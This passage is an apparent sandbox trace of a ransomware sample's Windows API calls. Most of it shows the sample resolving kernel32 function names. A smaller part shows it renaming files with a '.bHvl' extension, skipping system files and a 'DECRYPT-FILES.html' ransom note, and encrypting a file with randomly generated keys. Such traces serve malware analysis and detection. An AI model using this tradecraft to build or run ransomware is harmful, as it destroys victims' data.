lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0138.866] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0138.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0138.866] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0138.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0138.866] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0138.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0138.866] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0138.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0138.867] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0138.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0138.867] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0138.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0138.867] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0138.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0138.867] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0138.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0138.867] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0138.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0138.867] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0138.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0138.867] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0138.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0138.867] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0138.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0138.867] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0138.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0138.867] lstrlenA (lpString="CREATEEVENTA") returned 12 [0138.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0138.867] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0138.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0138.867] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0138.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0138.867] lstrlenA (lpString="CREATEEVENTW") returned 12 [0138.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0138.867] lstrlenA (lpString="CREATEFIBER") returned 11 [0138.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0138.867] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0138.867] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0138.867] lstrlenA (lpString="CREATEFILE2") returned 11 [0138.868] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0138.868] lstrlenA (lpString="CREATEFILEA") returned 11 [0138.868] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0138.868] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0138.868] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0138.868] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0138.868] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0138.868] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0138.868] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0138.868] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0138.868] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0138.868] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0138.868] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0138.868] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0138.868] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0138.868] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0138.868] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0138.868] lstrlenA (lpString="CREATEFILEW") returned 11 [0138.868] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0138.868] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0138.868] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0138.868] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0138.868] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0138.868] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0138.868] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0138.868] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0138.868] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0138.868] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0138.868] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0138.868] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0138.868] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0138.868] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0138.869] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0138.869] lstrlenA (lpString="CREATEJOBSET") returned 12 [0138.869] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0138.869] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0138.869] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0138.869] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0138.869] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0138.869] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0138.869] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0138.869] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0138.869] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0138.869] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0138.869] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0138.869] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0138.869] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0138.869] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0138.869] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0138.869] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0138.869] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0138.869] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0138.869] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0138.869] lstrlenA (lpString="CREATEPIPE") returned 10 [0138.869] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0138.869] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0138.869] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0138.869] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0138.869] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0138.869] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0138.869] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0138.869] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0138.869] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0138.869] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0138.870] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0138.870] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0138.870] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0138.870] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0138.870] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0138.870] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0138.870] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0138.870] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0138.870] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0138.870] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0138.870] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0138.870] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0138.870] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0138.870] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0138.870] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0138.870] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0138.870] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0138.870] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0138.870] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0138.870] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0138.870] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0138.870] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0138.870] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0138.870] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0138.870] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0138.870] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0138.870] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0138.870] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0138.870] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0138.870] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0138.870] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0138.870] lstrlenA (lpString="CREATETHREAD") returned 12 [0138.871] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0138.871] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0138.871] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0138.871] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0138.871] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0138.871] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0138.871] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0138.871] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0138.871] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0138.871] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0138.871] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0138.871] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0138.871] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0138.871] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0138.871] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0138.871] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\2052\\eula.rtf.bHvl") returned 40 [0138.872] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.bHvl" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.bhvl"), dwFlags=0x0) returned 1 [0138.872] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.873] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.873] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.873] FindNextFileW (in: hFindFile=0x3b80f00, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0138.873] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="DECRYPT-FILES.html") returned 1 [0138.873] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="autorun.inf") returned 1 [0138.873] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="boot.ini") returned 1 [0138.873] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="desktop.ini") returned 1 [0138.873] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat") returned -1 [0138.873] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="iconcache.db") returned 1 [0138.873] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="bootsect.bak") returned 1 [0138.873] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat.log") returned -1 [0138.874] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="thumbs.db") returned -1 [0138.874] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="Bootfont.bin") returned 1 [0138.874] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\") returned 27 [0138.874] lstrlenW (lpString="LocalizedData.xml") returned 17 [0138.874] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\2052\\" | out: lpString1="C:\\588bce7c90097ed212\\2052\\") returned="C:\\588bce7c90097ed212\\2052\\" [0138.874] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\2052\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" [0138.874] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0138.874] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0138.874] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=60684) returned 1 [0138.874] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0138.874] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0139.270] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0139.270] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0139.270] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0139.271] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0139.271] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0139.272] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.273] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0139.273] CloseHandle (hObject=0x5f8) returned 1 [0139.273] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.273] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0139.274] CloseHandle (hObject=0x0) returned 0 [0139.274] CloseHandle (hObject=0x5f4) returned 1 [0139.275] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.275] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.276] GetTickCount () returned 0x38231 [0139.276] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0139.276] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0139.276] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0139.276] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0139.276] lstrlenA (lpString="kernel32.dll") returned 12 [0139.277] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0139.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0139.277] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0139.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0139.277] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0139.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0139.277] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0139.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0139.277] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0139.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0139.277] lstrlenA (lpString="ADDATOMA") returned 8 [0139.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0139.277] lstrlenA (lpString="ADDATOMW") returned 8 [0139.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0139.277] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0139.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0139.277] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0139.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0139.277] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0139.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0139.277] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0139.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0139.277] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0139.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0139.277] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0139.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0139.277] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0139.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0139.277] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0139.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0139.277] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0139.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0139.277] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0139.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0139.277] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0139.277] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0139.277] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0139.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0139.278] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0139.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0139.278] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0139.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0139.278] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0139.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0139.278] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0139.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0139.278] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0139.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0139.278] lstrlenA 